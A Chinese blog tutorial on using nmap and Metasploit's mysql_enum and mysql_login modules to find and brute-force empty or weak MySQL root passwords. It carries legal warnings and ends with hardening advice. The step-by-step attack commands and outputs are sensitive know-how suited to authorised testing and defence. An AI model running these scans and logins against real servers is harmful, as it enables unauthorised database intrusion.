使用 Metasploit 利用 MySQL 默认空密码或弱密码漏洞 (CVE-2002-1809, CNNVD-200212-263, CVE-1999-0502)

已于 2022-02-23 22:29:13 修改
阅读量1.8k 收藏 2
点赞数
分类专栏： 网络空间安全 文章标签： mysql 安全 web安全 metasploit
于 2022-02-22 17:18:17 首次发布
CC-BY-SA-ND 4.0
本文链接：https://blog.csdn.net/qq_19338977/article/details/123067589
版权

使用 Metasploit 利用 MySQL 默认空密码或弱密码漏洞 (CVE-2002-1809, CNNVD-200212-263, CVE-1999-0502)


警告

请勿将本文提到的任何技术用于非法用途。

请遵守《中华人民共和国刑法》《中华人民共和国网络安全法》《中华人民共和国治安管理处罚法》和/或当地其他相关法律法规。

本文作者在进行试验时已获得省级相关部门和作者单位相关部门的批准。


特别提示

重要：在执行本文的任何攻击命令前，请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

重要：执行本文的部分或全部命令有能违反中华人民共和国法律的可能性。在任何情况下，本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否阅读本文。


协议

特别说明: 本文按“原样”提供，不做任何明示或暗示的担保，包括但不限于对适用性、正确性、使用情景合法性的担保。在和任何情况下，作者均不对读者使用本文提及的内容造成的结果进行赔偿或承担任何责任。

本作品采用 知识共享署名-禁止演绎 4.0 国际许可协议 进行许可。(CC-BY-ND 4.0)

当 CSDN 平台提供的版权协议与本协议 (CC-BY-ND 4.0) 不一致时，以本协议为准。

Copyright © 2022, 还没想好昵称的新建p

特别说明: 在转载时，禁止对本文的任何内容进行修改。

特别说明: “警告”和“协议”的全部内容应该按原样包含在本文的所有转载副本内容中。

如果您不同意协议中的任何一项，请勿继续阅读或转载，并关闭此页面。


环境和约定
本文依据例行网络安全监测监测的真实案例改编。

我们约定，除非另有说明，本文所提及的攻击者和受害者 (靶机) 的 IP 地址和版本信息如下。

攻击者: localhost, Kali Linux + Windows 10, metasploit/6.1.27, nmap/7.91
受害者: 192.168.1.100, 推理操作系统 Linux (93%), 未能精确匹配操作系统信息

为保护隐私，本文提到的 IP 地址等为虚拟。

目的

利用 MySQL 的空密码或默认弱密码登录 MySQL。

CVE 信息

NVDCNNVD漏洞中文名称
CVE-2002-1809CNNVD-200212-263MySQL Null Root Password Weak默认配置漏洞
CVE-1999-0502CNNVD-199803-001Unix账户漏洞

CVE-2002-1809, CNNVD-200212-263

MySQL 3.23.2 到 3.23.52 的 Windows 二进制版本中默认配置存在 NULL 根密码。

CVE-1999-0502

Unix 账户存在默认、空、空白或丢失密码漏洞。

渗透过程

0. 准备工作

0.1 使用 Nmap 扫描受害主机

通过如下命令对受害者扫描，得到开放端口、版本、操作系统推理等信息。

nmap -A 192.168.1.100

通过观察如下结果，可知受害者开放 3306 端口，服务为 mysql，版本 MySQL/5.5.20-log 脆弱。

Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-29 02:33 China Standard Time
Nmap scan report for 192.168.1.100
Host is up (0.041s latency).
Not shown: 999 filtered ports
PORT     STATE  SERVICE       VERSION
3306/tcp open   mysql         MySQL 5.5.20-log
| mysql-info:
|   Protocol: 10
|   Version: 5.5.20-log
|   Thread ID: 233333333
|   Capabilities flags: 23333
|   Some Capabilities: …
|   Status: Autocommit
|   Salt: …
|_  Auth Plugin Name: mysql_native_password

Aggressive OS guesses: Linux (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   17.00 ms  192.168.0.1
2   18.00 ms  192.168.1.1
3   32.00 ms  192.168.1.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.33 seconds
0.2 启动 Metasploit
msfconsole

进入 msfconsole 后，将看到启动文字界面和 msf6 > 。依次输入以下内容

1. 扫描用户

1.1 使用辅助扫描工具 (Auxiliary)

扫描用户时利用 CVE-2002-1809 漏洞。

使用如下命令选择 Auxiliary。

msf6 > use auxiliary/admin/mysql/mysql_enum
1.2 设置参数

使用如下命令查看该 Auxiliary 信息。

msf6 auxiliary(admin/mysql/mysql_enum) > show info

使用如下命令设置 rhosts。

msf6 auxiliary(admin/mysql/mysql_enum) > set rhosts 192.168.1.100

将得到如下提示：rhosts => 192.168.1.100

1.3 攻击


警告

在执行任何攻击命令前，请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

特别提示：执行此命令有违反中华人民共和国法律的可能性。在任何情况下，本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否继续。

设置参数后便可攻击受害者（亦可使用 run）。

exploit

通常，将看到如下结果。

[*] Running module against 192.168.1.100
[*] 192.168.1.100:3306 - Enumerating Parameters
[*] (省略一些受害者版本信息)
[*] 192.168.1.100:3306 - Enumerating Accounts:
[+] (省略一些受害者用户名密码)
[*] (省略一些具有不同权限的用户)
[*] Auxiliary module execution completed

2. 爆破口令

2.1 使用辅助扫描工具 (Auxiliary)

爆破口令时利用 CVE-1999-0502 漏洞。

使用如下命令选择 Auxiliary。

msf6 > use auxiliary/scanner/mysql/mysql_login
2.2 设置参数

使用如下命令查看该 Auxiliary 信息。

msf6 auxiliary(scanner/mysql/mysql_login) > show info

使用如下命令设置 rhosts。

msf6 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.1.100

将得到如下提示：rhosts => 192.168.1.100

如果受害者没有 CVE-2002-1809, CNNVD-200212-263 漏洞，请使用 set … … 命令妥善设置用户名、字典等，在此不作赘述。

2.3 攻击


警告

在执行任何攻击命令前，请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

特别提示：执行此命令有违反中华人民共和国法律的可能性。在任何情况下，本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否继续。

设置参数后便可攻击受害者（亦可使用 run）。

exploit

通常，将看到如下结果。

[+] 192.168.1.100:3306 - 192.168.1.100:3306 - Found remote MySQL version 5.5.20
[!] 192.168.1.100:3306 - No active DB – Credential data will not be saved!
[+] 192.168.1.100:3306 - 192.168.1.100:3306 - Success: ‘root:’
[*] 192.168.1.100:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Enjoy it!

至此，渗透完成。

防护措施

  • 升级 MySQL
  • 更改强密码
  • 删除不必要的用户
  • 更换 MySQL 端口，或使用 Unix Socket 套接字
  • 禁止用户远程登陆
  • 注意前端可能包含数据库用户名密码的配置文件（如 CMS 使用的配置文件等）的权限

敬告

本文作者并不对上述防护措施有效性做任何担保。

Copyright © 2022, 还没想好昵称的新建p  ( CC-BY-ND 4.0)
还没想好昵称的新建p
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ProxyLogon-CVE-2021-26855-metasploit:CVE-2021-26855 proxyLogon metasploit利用脚本
03-17
ProxyLogon-CVE-2021-26855-metasploit CVE-2021-26855 proxyLogon metasploit利用脚本
CVE-2018-8174-msf:CVE-2018-8174-VBScript内存损坏漏洞利用
05-17
CVE-2018-8174-MSF 这是一个metasploit模块，该模块创建恶意的Word文档以利用CVE-2018-8174-VBScript内存损坏漏洞。 该模块是一个非常快速的端口，并使用在野外发现的漏洞利用示例。 该漏洞仅适用于32位Microsoft Office。 在本模块上有很多事情需要改进，但是如果有时间我会在将来进行更新。 安装 将CVE-2018-8174.rb复制到/ usr / share / metasploit-framework / modules / exploits / windows / fileformat / 将CVE-2018-8174.rtf复制到/ usr / share / metasploit-framework / data / exploits / 该漏洞无法与meterpreter shellcode一起很好地工作，因此
Centos7升级OpenSSH到9.3P2以解决安全问题CVE-2023-38408
最新发布
02-19 525
在2023年7月19日，OpenSSH团队紧急发布了补丁，针对CVE-2023-38408进行了修复，并在后续版本如9.3p2中包含了这些关键的安全更新。通过遵循以上步骤，管理员可以有效地在CentOS 7系统上升级OpenSSH至9.3p2版本，从而消除CVE-2023-38408带来的潜在风险。从可靠的源下载适用于CentOS 7的OpenSSH 9.3p2源代码包，例如来自CSDN或其他官方推荐渠道的RPM构建包。配置新的sshd服务，根据新版本特性修改。
CVE-2022-21882 Win32k内核提权漏洞深入分析
二狗的博客
01-30 646
CVE-2022-21882是对CVE-2021-1732漏洞的绕过，属于win32k驱动程序中的一个类型混淆漏洞。攻击者可以在user_mode调用相关的GUIAPI进行内核调用，如xxxMenuWindowProc、xxxSBWndProc、xxxSwitchWndProc、xxxTooltipWndProc等，这些内核函数会触发回调xxxClientAllocWindowClassExtraBytes。攻击者可以通过hook。
CVE-2022-30190(follina)：Microsoft诊断工具(MSDT)远程代码执行漏洞复现（超级详细）
aihiglh的博客
06-15 3450
CVE-2022-30190的复现与使用，由一位中学生独自编写（第一次写文章），干货较多，欢迎收藏和讨论交流
【漏洞通告】Windows 内核信息泄漏漏洞CVE-2021-31955
爱国小白帽
06-29 2643
漏洞名称 : Windows 内核信息泄漏漏洞 组件名称 : Windows 影响范围 : Windows 10 21h1/20h2/1809/1909/2004 Windows Server 2016 20h2/2004 Windows Server 2019 漏洞类型 : 信息泄漏 利用条件 : 1、用户认证：不需要用户认证 2、触发方式：远程 综合评价 : 1、用户认证：不需要用户认证 2、触发方式：本地 漏洞分析 1 组件****介绍 Microsoft Windows操作系统是美国微软公司研发的一
使用 Metasploit 渗透局域网 Windows 设备
还没想好昵称的新建p的博客
12-01 954
本文讲述了如何使用 Metasploit 渗透局域网 Windows 设备。
使用 Metasploit 利用 OpenSSH 用户枚举漏洞 (CVE-2018-15473, CVE-2016-6210, CVE-1999-0502)
还没想好昵称的新建p的博客
02-22 1万+
本文大致讲述了如何使用 Metasploit 利用 OpenSSH 用户枚举漏洞。请务必遵守相关法律。(CC-BY-ND 4.0)
数据库安全：MySQL数据库的弱口令漏洞测试.
网络安全领域___专研者.
05-27 1469
MySQL是一种关系型数据库管理系统，关系数据库将数据保存在不同的表中，而不是将所有数据放在一个大仓库内，这样就增加了速度并提高了灵活性。MySQL所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策，分为社区版和商业版，由于其体积小、速度快、总体拥有成本低，尤其是开放源码这一特点，一般中小型和大型网站的开发都选择 MySQL 作为网站数据库.
漏洞修复方法
Lightllll的博客
07-11 9517
漏洞修复记录
计算机漏洞安全相关的概念POC | EXP | VUL | CVE | 0DAY
lixue20141529的博客
09-09 816
转：http://blog.csdn.net/wangjianno2/article/details/51339064 1.POC         POC，Proof ofConcept，中文意思是“观点证明”。这个短语会在漏洞报告中使用，漏洞报告中的POC则是一段说明或者一个攻击的样例，使得读者能够确认这个漏洞是真实存在的。   2.EXP         EX
CVE-2021-21972:CVE-2021-21972 VMware vCenter metasploit利用脚本中的未经授权的RCE
03-08
CVE-2021-21972 VMware vCenter metasploit利用脚本中的未经授权的RCE 准备 git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p ~ /.msf4/modules/exploits/multi/http cp * ~...
Windows CVE-2022-21907漏洞复现
qq_53579360的博客
11-13 1765
漏洞复现
Weblogic远程代码执行漏洞（CVE-2023-21839）复现/保姆级讲解
BGiscool的博客
02-28 4078
由于WeblogicIIOP/T3协议存在缺陷，当IIOP/T3协议开启时，未经身份验证的攻击者通过IIOP/T3协议向受影响的服务器发送恶意的请求，最终导致在目标服务器上访问敏感信息并执行任意代码。
linux系统漏洞整改策略
刘铭辉的博客
02-27 1万+
1、远端WWW服务支持TRACE请求漏洞 服务是weblogic部署的，对Linux系统自带的apache没有主观的依赖可以停止。 停止apache命令：service httpd stop 启动apache命令：service httpd start。启动如果报错httpd: Could not reliably determine the server's fully qualified...
6-21漏洞利用-mysql弱口令破解
山兔的博客
07-28 2244
Mysql是一个关系型数据库管理系统，由瑞典MySQLAB公司开发，目前属于Oracle旗下产品。Mysql是最流行的关系型数据库管理系统之一，在WEB应用方面，mysql是最好的RDBMS（RelationalDatabaseManagementSystem，关系数据库管理系统）应用软件。每一段内容存储到表当中，多张表进行对应的组合，存储对应的数据，内键、外键、唯一的索引，不同的值，都有对应的联系，这就是我们关系数据库的大概。...
检测到远端X服务正在运行中(CVE-1999-0526)漏洞解决
热门推荐
看着博客敲代码
04-16 1万+
检测到远端X服务正在运行中(CVE-1999-0526)， 详细描述: X11协议是一种基于客户端/服务器模型的协议。X Server监听在6000/TCP端口，接受客户端发来的各种命令请求，服务器执行完命令后将事件返回给客户端。 如果允许从任意IP连接X Server的话，攻击者可能登录X Server并记录使用同一X Server的其它X Client的所有击键操作，这将包括帐号、密码等敏感信息。 解决方案： 查看默认的target [root@localhost ~]# systemctl get-d
如何使用search cve-2019-0708查询是否有相关的扫描和利用模块
05-25
可以使用以下步骤来使用search cve-2019-0708查询是否有相关的扫描和利用模块： 1. 打开终端或命令提示符，并安装Metasploit框架（如果尚未安装）。 2. 启动Metasploit控制台。 3. 输入“search cve-2019-0708”并...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值